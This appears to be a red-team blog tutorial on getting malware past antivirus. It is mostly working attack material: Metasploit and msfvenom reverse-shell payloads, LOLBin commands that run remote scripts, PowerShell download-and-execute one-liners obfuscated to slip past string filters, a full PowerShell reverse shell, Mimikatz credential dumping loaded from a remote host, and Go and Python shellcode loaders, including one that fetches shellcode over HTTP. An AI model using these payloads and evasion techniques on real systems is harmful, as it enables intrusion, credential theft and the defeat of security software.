Bypass Anti-Virus
TyeYeah Lv4

Techniques of bypassing antivirus are developing rapidly, and this article shows some practical tools/tips.

General

Actually years age just modifying some special strings or add rubbish paddings at the end makes antivirus confused about the sample, but for now only encryption and obfuscation works, sometimes we even need to explore more native APIs to bypass and this can be still temporary.

What I want to show here is not about detailed information, but some easy-to-use tools which help red teaming. For some hardcore learners, check this out.

Metasploit

In MSF Pentest Route I introduced pretty much about metasploit framework penetration testing, only to forget the Evasion module which updated in Metasploit 5.0.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
msf6 > show evasion

Evasion
=======

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 evasion/windows/applocker_evasion_install_util normal No Applocker Evasion - .NET Framework Installation Utility
1 evasion/windows/applocker_evasion_msbuild normal No Applocker Evasion - MSBuild
2 evasion/windows/applocker_evasion_presentationhost normal No Applocker Evasion - Windows Presentation Foundation Host
3 evasion/windows/applocker_evasion_regasm_regsvcs normal No Applocker Evasion - Microsoft .NET Assembly Registration Utility
4 evasion/windows/applocker_evasion_workflow_compiler normal No Applocker Evasion - Microsoft Workflow Compiler
5 evasion/windows/process_herpaderping normal No Process Herpaderping evasion technique
6 evasion/windows/windows_defender_exe normal No Microsoft Windows Defender Evasive Executable
7 evasion/windows/windows_defender_js_hta normal No Microsoft Windows Defender Evasive JS.Net and HTA

Try to use one

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
msf6 > use evasion/windows/windows_defender_exe
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 evasion(windows/windows_defender_exe) > show options

Module options (evasion/windows/windows_defender_exe):

Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME mikXxir.exe yes Filename for the evasive file (default: random)


Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 172.21.180.162 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port


Evasion target:

Id Name
-- ----
0 Microsoft Windows

msf6 evasion(windows/windows_defender_exe) > run

[*] Compiled executable size: 3584
[+] mikXxir.exe stored at /root/.msf4/local/mikXxir.exe

Then we get a default meterpreter reverse shell at /root/.msf4/local/mikXxir.exe

Veil

As this installation requires wine and part of graph GUI, so remember to install a desktop environment (I’m talking to WSL users).

As for usages, follow the lead in banner and the parameters are similar to msf.

charlotte

13/05/2021:

  1. c++ shellcode launcher, fully undetected 0/26 as of 13th May 2021.
  2. dynamic invoking of win32 api functions
  3. XOR encryption of shellcode and function names
  4. randomised XOR keys and variables per run
  5. on Kali Linux, simply ‘apt-get install mingw-w64*’ and thats it!

Usage:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ git clone https://github.com/9emin1/charlotte.git && apt-get install mingw-w64*
$ cd charlotte
$ msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=$YOUR_IP LPORT=$YOUR_PORT -f raw > beacon.bin
$ python charlotte.py
# ...
# banners
# ...
[*] Initialising charlotte() [*]
[*] Generating XOR Keys... [*]
[*] Replacing data in template.cpp... [*]
[*] charlotte.cpp generated! [*]
[*] Completed - Compiling charlotte.dll [*]
[*] Cross Compile Success! [*]
[*] Removing charlotte.cpp... [*]
[*] Execute on your Windows x64 victim with: [*]
[*] rundll32 charlotte.dll, ebBpZJRjZOCeIR [*]

On victim:

1
2
> download `charlotte.dll` first (wget, curl, powershell, certutil)
> rundll32 charlotte.dll, ebBpZJRjZOCeIR # get it online

Finally online and no AV detects.

White list

Includes some LOLBins(Living-Off-the-Land Binaries). These gadgets are always Windows native softwares, with legal digital signs and some acts as components of middleware in Windows

forfiles

It executes one command to operate batch of files.
/p sets folder to search files, /m sets keywords, and /c sets command

1
> forfiles /p c:\windows\system32 /m calc.exe /c C:\path\to\payload.exe

pcalua

A component of Windows Program Compatibility Assistant, -a to execute.

1
> pcalua.exe -a C:\path\to\payload.exe

SyncAppvPublishingServer

It has vbs and exe versions.

1
> SyncAppvPublishingServer.vbs "n; Start-Process C:\path\to\payload.exe"

Using regsvr32 to execute remote scripts.

1
> SyncAppvPublishingServer.vbs "Break; regsvr32 /s /n /u /i:http://x.x.x.x:xxxx/xxx.sct scrobj.dll"

Cmd Hijack

Use path traversing to confuse monitoring system

1
> cmd.exe /c "ping 127.0.0.1/../../../../../../../../../../windows/system32/calc.exe"

Other 2 methods:

1
2
3
> ping ;calc.exe 127.0.0.1/../../../../../../../../../../windows/system32/WindowsPowerShell/v1.0/POWERSHELL.EXE
# or
cmd.exe /c "ping ;calc.exe; 127.0.0.1/../../../../../../../../../windows/system32/WindowsPowerShell/v1.0/POWERSHELL.EXE"

conhost.exe

Console Host Process, the host of console

1
2
3
> conhost.exe C:\path\to\payload.exe
> conhost "C:\path\to\payload.exe"
> conhost C:/path/to/payload.exe

explorer.exe

Familiar to it

1
2
3
> explorer.exe C:/path/to/payload.exe 
> explorer.exe /root,"C:/path/to/payload.exe"
> explorer.exe pentestlab.blog, "C:/path/to/payload.exe"

waitfor

Sync pc in internet communication using signals

1
2
> waitfor pentestlab && PowerShell IEX (IWR http://x.x.x.x/xxx).Content 
> waitfor /s 127.0.0.1 /si pentestlab

InstallUtil.exe

X86

1
> C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThings.dll

X64

1
> C:\Windows\Microsoft.NET\Framework64\v4.0.3031964\InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThings.dll

Regsvcs.exe

X86

1
> C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe AllTheThings.dll

X64

1
> C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe AllTheThings.dll

Regasm.exe

X86

1
> C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U AllTheThings.dll

X64

1
> C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U AllTheThings.dll

Regsvr32.exe

X86

1
> regsvr32 /s /u AllTheThings.dll --> Calls DllUnregisterServer

X64

1
> regsvr32 /s AllTheThings.dll --> Calls DllRegisterServer

Rundll32.exe

1
> rundll32 AllTheThings.dll,EntryPoint

Msiexec

1
> C:\Windows\System32\msiexec.exe /q /i http://ip:port/beta.txt

Bypass UAC

Check UACME for rich UAC bypassing materials.
Under Source folder there are:

  • Akagi, x64/x86-32 main executable file, contain payload/data units.
  • Akatsuki, x64 payload, WOW64 logger.
  • Fubuki, x64/x86-32 payload, general purpose.
  • Kamikaze, data, MMC snap-in.
  • Naka, x64/x86-32 compressor for other payload/data units.
  • Yuubari, x64 UAC info data dumper.

Multiple Programming Language

Powershell

Powershell has 6 execution policies:

  1. Unrestricted: the highest authority, with no limit on any script execution
  2. Restricted: default policy, any script execution is not allowed
  3. AllSigned: all scripts need to be signed before running
  4. RemoteSigned: no limit for local, but requires signs when from online
  5. Bypass: without any restrictions
  6. Undefined: no policy for scripts

The default one is Restricted and we can use Get-ExecutionPolicy to get current policy.
With Administrator privilege we can use Set-ExecutionPolicy Unrestricted to get highest execution policy, then we are able to run any powershell scripts. To recover, use Set-ExecutionPolicy Restricted.

Now we think about bypass execution policy to run scripts when it is Restricted.

With a file:

1
2
3
> powershell Get-Content test.ps1 | powershell -NoProfile -
> powershell -ExecutionPolicy bypass -File ./test.ps1
> powershell -ExecutionPolicy unrestricted -File ./test.ps1

To be fileless (like scripted web delievery in Cobalt Strike):

1
> powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x:xxx/a'))"

But these are just bypassing execution policy, what about bypassing AV?


  • Command Obfuscation

If we run that directly

1
> powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x:xxx/a'))"

We get caught due to IEX usage (IEX -> Invoke-expression), so get it an alias iii

1
> powershell set-alias -name iii -value Invoke-Expression;iii(New-Object Net.WebClient).DownloadString('http://x.x.x.x:xxx/a')

Or use echo

1
> echo Invoke-Expression(new-object net.webclient).downloadstring('http://x.x.x.x:xxx/a') | powershell -

Or use + to split and concat variables

1
> powershell  -c "IEX(New-Object Net.WebClient)."DownloadString"('ht'+'tp://x.x.x.x:xxx/a')"
  • Code Obfuscation

When we run Powershell -ExecutionPolicy Bypass -File ./payload.sp1 to execute payload that Cobalt Strike generated, it will be detected by AV.

We can try base64 encoding to encode the whole string that this original payload loads to run, and load it by decoding first in new payload. Replace it as:

1
$base64-decoded-var=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64-encoded-string))

And dont forget to change related variable names. Then run Powershell -ExecutionPolicy Bypass -File .\payload.sp1 to get it online and bypassing AV.

This is a powershell obfuscation framework on github and often used by APT32.

Load/import it and run:

1
2
> Import-Module ./Invoke-Obfuscation.psd1 
> Invoke-Obfuscation

We can see the banner
![Invoke-Obfuscation](/imghost/bav/Invoke-Obfuscation Screenshot.png)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# set target first
Invoke-Obfuscation\Encoding> SET SCRIPTPATH Invoke-Obfuscation/Out-SecureStringCommand.ps1

Successfully set ScriptPath:
Invoke-Obfuscation/Out-SecureStringCommand.ps1

Invoke-Obfuscation> encoding

Choose one of the below Encoding options to APPLY to current payload:

[*] ENCODING\1 Encode entire command as ASCII
[*] ENCODING\2 Encode entire command as Hex
[*] ENCODING\3 Encode entire command as Octal
[*] ENCODING\4 Encode entire command as Binary
[*] ENCODING\5 Encrypt entire command as SecureString (AES)
[*] ENCODING\6 Encode entire command as BXOR
[*] ENCODING\7 Encode entire command as Special Characters
[*] ENCODING\8 Encode entire command as Whitespace

Invoke-Obfuscation\Encoding> 1

Executed:
CLI: Encoding\1
FULL: Out-EncodedAsciiCommand -ScriptBlock $ScriptBlock -PassThru

Result:
-JOin ( '35z32h32M32X84f104f105f115;32z102;
...
101z119p83f99p114-105p112M116M13h10X125' -SPlIT'z' -SpLit ';'-spLit'M'-spLIT'B' -spLIT'h' -Split'-' -SpLIT 's'-split'X' -SpLIT 'p' -SPlit'f'| FoReaCh-OBjECt { ([CHAr] [INT]$_) })| IEx

WARNING: This command exceeds the cmd.exe maximum length of 8190.
Its length is 87052 characters.
...

Invoke-Obfuscation\Encoding> out 2.ps1

Successfully output ObfuscatedCommand to C:\path\to\Invoke-Obfuscation\2.ps1.
...

After that the 2.ps1 is anti-AV.

Normally we get powershell reverse shell by

1
powershell -c "$client = New-Object Net.Sockets.TCPClient('x.x.x.x',xxxx);$stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback=(iex $data 2>&1 | Out-String );$sendata =$sendback+'PS >';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendata);$leng=$sendbyte.Length;$stream.Write($sendbyte,0,$leng);$stream.Flush()};$client.Close()"

Listen at x.x.x.x with port xxxx will get a powershell which is powerful and more difficult to be monitored than cmd

From the README.md it encrypts mimikatz

1
2
> Import-Module ./xencrypt.ps1
> Invoke-Xencrypt -InFile invoke-mimikatz.ps1 -OutFile xenmimi.ps1

You will now have an encrypted xenmimi.ps1 file in your current working directory. You can use it in the same way as you would the original script, so in this case:

1
2
> Import-Module ./xenmimi.ps1
> Invoke-Mimikatz

It also supports recursive layering via the -Iterations flag.

1
> Invoke-Xencrypt -InFile invoke-mimikatz.ps1 -OutFile xenmimi.ps1 -Iterations 100

Warning though, the files can get big and generating the output file can take a very long time depending on the scripts and number of iterations requested.

  • Other Ways

still mimikatz as an example

1
> powershell -exec bypass "import-module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz  -DumpCreds"

To be living off the land

1
> powershell "IEX (New-ObjectNet.WebClient).DownloadString('http://x.x.x.x/xxx'); Invoke-Mimikatz -DumpCreds"

Pass filters of string “http”

1
> powershell "IEX (New-ObjectNet.WebClient).DownloadString(('htAtp://x.x.x.x/xxx' -replace 'A',''));Invoke-Mimikatz -DumpCreds"

Not only powershell scripts, we can load exe into memory for execution using Invoke-ReflectivePEInjection in PowerSploit (nolonger supported)

1
> powershell.exe -exec bypass IEX (New-ObjectNet.WebClient).DownloadString(('htBtp://x.x.x.x/xxx' -replace'B',''));Invoke-ReflectivePEInjection -PEUrl http://x.x.x.x/mimikatz.exe -ExeArgs "sekurlsa::logonpasswords" -ForceASLR

Golang

Go is an open source programming language that makes it easy to build simple, reliable, and efficient software.

The Go programing language (golang) was published by Google in 2009, having great performance like C/C++ and garbage collection (GC) like Java, but without dependence on vm.

However the Go binaries are always not so small, with a statically linked runtime library, and maybe that’s why most antivirus engines on the market have relatively weak detection capabilities for them.

  • Main Idea

Since Go binary for now can bypass some AV softwares directly, we can inject a ELF shellcode in and let binary load it when running (aka. Fileless or Living off the Land).

Here are some tools:


Here is an example.
We give https://github.com/kevinburke/go-bindata a try.
First generate a backdoor:

1
$ msfvenom -p  linux/x64/meterpreter/reverse_tcp  -e x86/shikata_ga_nai -i 1 lhost=x.x.x.x lport=xxxx -f elf > ./test

And we get result:
linux-before
As this is Linux platform and has been encoded, so we get this number. Anyway we use golang to pack:

1
2
# https://github.com/kevinburke/go-bindata
$ ./go-bindata ./test

Here we’ll get a bindata.go in which stores data of ./test, and now we should write a main() to load test data into memory and execute:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
const (
mfdCloexec = 0x0001 // only kernel newer than 3.17 supports
memfdCreate = 319
)
func main() {

data, err := Asset("test")
if err != nil {
// Asset was not found.
fmt.Println("read test file content error!")
}
filename := ""

fd, _, _ := syscall.Syscall(memfdCreate, uintptr(unsafe.Pointer(&filename)), uintptr(mfdCloexec), 0)

_, _ = syscall.Write(int(fd), data)
displayName := "/bin/bash"

fdPath := fmt.Sprintf("/proc/self/fd/%d", fd)
_ = syscall.Exec(fdPath, []string{displayName}, nil)

}

The result:
linux-after
And the Windows platform, before:
win-before
After:
win-after
This testing project is on github

PHP

Like Golang part, converting a PHP reverse shell to a exe can also lower detection rate.

The Bambalam PHP EXE Compiler is like pyinstaller, packing PHP script to exe.

Generate php reverse shell

1
$ msfvenom -p php/meterpreter_reverse_tcp LHOST=x.x.x.x LPORT=xxxx -f raw > shell.php

Use Bambalam PHP EXE Compiler to process the file

1
$ bamcompile.exe -w  -c shell.php shell.exe

Python

Python is also used as a loader, always utilize ctypes to call C functions and base64 to do obfuscation.

In Python some functions like exec(), eval(), os.system() and subprocess.Popen() are noticed always with a glance, to hind the execution we choose deserialization.

Example of Python deserialization:

1
2
3
4
5
6
7
8
9
10
import subprocess
import cPickle

class gugu(object):
def __reduce__(self):
return (subprocess.Popen, (('calc.exe',),))

ret = cPickle.dumps(gugu())
print repr(ret)
cPickle.loads(ret)

Magic method __reduce__ is called when an object is Pickled, and what it returns will be executed.
os.system(), subprocess.Popen() and eval() can be choosed but, only the last eval() gets rid of popping black window. However eval() can just run single lines.

Anyway here is how to generate a Python shellcode loader (Python2 version):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
import ctypes,cPickle,base64,urllib2

class test1(object):
def __reduce__(self):
return(eval,("urllib2.urlopen('http://x.x.x.x/xxx').read().decode('hex')",))

class test2(object):
def __init__(self, shellcode):
self.shellcode = shellcode
def __reduce__(self):
return(eval,("ctypes.windll.kernel32.VirtualAlloc(0,len(shellcode),0x1000,0x40)",))

class test3(object):
def __init__(self, rwxpage, shellcode):
self.rwxpage = rwxpage
self.shellcode = shellcode
def __reduce__(self):
return(eval,("ctypes.windll.kernel32.RtlMoveMemory(rwxpage,ctypes.create_string_buffer(shellcode),len(shellcode))",))

class test4(object):
def __init__(self, rwxpage):
self.rwxpage = rwxpage
def __reduce__(self):
return(eval,("ctypes.windll.kernel32.CreateThread(0,0,rwxpage,0,0,0)",))

class test5(object):
def __init__(self, handle):
self.handle = handle
def __reduce__(self):
return(eval,("ctypes.windll.kernel32.WaitForSingleObject(handle,-1)",))

if __name__ == '__main__':

raw_shellcode = test1()
ser_shellcode = cPickle.dumps(raw_shellcode)
enb32_shellcode = base64.b32encode(ser_shellcode)
shellcode = cPickle.loads(base64.b32decode(enb32_shellcode))


raw_vir = test2(shellcode)
ser_vir = cPickle.dumps(raw_vir)
enb32_vir = base64.b32encode(ser_vir)
rwxpage = cPickle.loads(base64.b32decode(enb32_vir))


raw_rtl = test3(rwxpage, shellcode)
ser_rtl = cPickle.dumps(raw_rtl)
enb32_rtl = base64.b32encode(ser_rtl)


raw_handle=test4(rwxpage)
ser_handle = cPickle.dumps(raw_handle)
enb32_handle = base64.b32encode(ser_handle)
handle = cPickle.loads(base64.b32decode(enb32_handle))


raw_run = test5(handle)
ser_run = cPickle.dumps(raw_run)
enb32_run = base64.b32encode(ser_run)


output = '''import ctypes,cPickle,base64,urllib2

e_shellcode = "{}"
shellcode = cPickle.loads(base64.b32decode(e_shellcode))

e_rwxpage="{}"
rwxpage = cPickle.loads(base64.b32decode(e_rwxpage))

e_code = "{}"
cPickle.loads(base64.b32decode(e_code))

e_handle = "{}"
handle = cPickle.loads(base64.b32decode(e_handle))

e_run = "{}"
cPickle.loads(base64.b32decode(e_run))'''.format(enb32_shellcode, enb32_vir, enb32_rtl, enb32_handle, enb32_run)

with open('Loader.py','w') as f:
f.write(output)
f.close()

Then we get a Loader.py and use pyinstaller to pack it.

1
$ PyInstaller --noconsole --onefile Loader.py

Shellcode in Picture

This method first divides the malware into loader and shellcode, and puts shellcode in a picture.

Proj1: Hou Qing

  • Change the KEY_1 and KEY_2 in code.go and Loader.go.
  • Set up a listener, and write payload in code.go (can use java listener to get byte-shellcode).
  • Run code.go: go run code.go xxx.png and upload png to a website(image should not be compressed).
  • write image url in Loader.go.
  • run Loader.go: go run Loader.go to get online.
  • Compile it as EXE: go build -ldflags="-H windowsgui" Loader.go and use SFX, RLO, or so, to disguise.

Proj2: Invoke-PSImage

  • Generate payload.ps1 by MSF/CS and put it in Invoke-PSImage folder
  • Generate shell.png:
    1
    2
    3
    Set-ExecutionPolicy Unrestricted -Scope CurrentUser
    Import-Module .\Invoke-PSimage.ps1
    Invoke-PSImage -Script .\payload.ps1 -Image .\origin.jpg -Out .\shell.png -Web
  • Get a line of code to invoke the shell:
    1
    sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://example.com/shell.png"));$o=a Byte[] 5120;(0..1)|%{foreach($x in(0..2559)){$p=$g.GetPixel($x,$_);$o[$_*2560+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3550]))
  • Loader-Shellcode structure is also recommended. You can compile the powershell above to a PE file, and use SFX, RLO, …

Addition

Bypass tools:

Online resources:

Powered by Hexo & Theme Keep
Total words 135.7k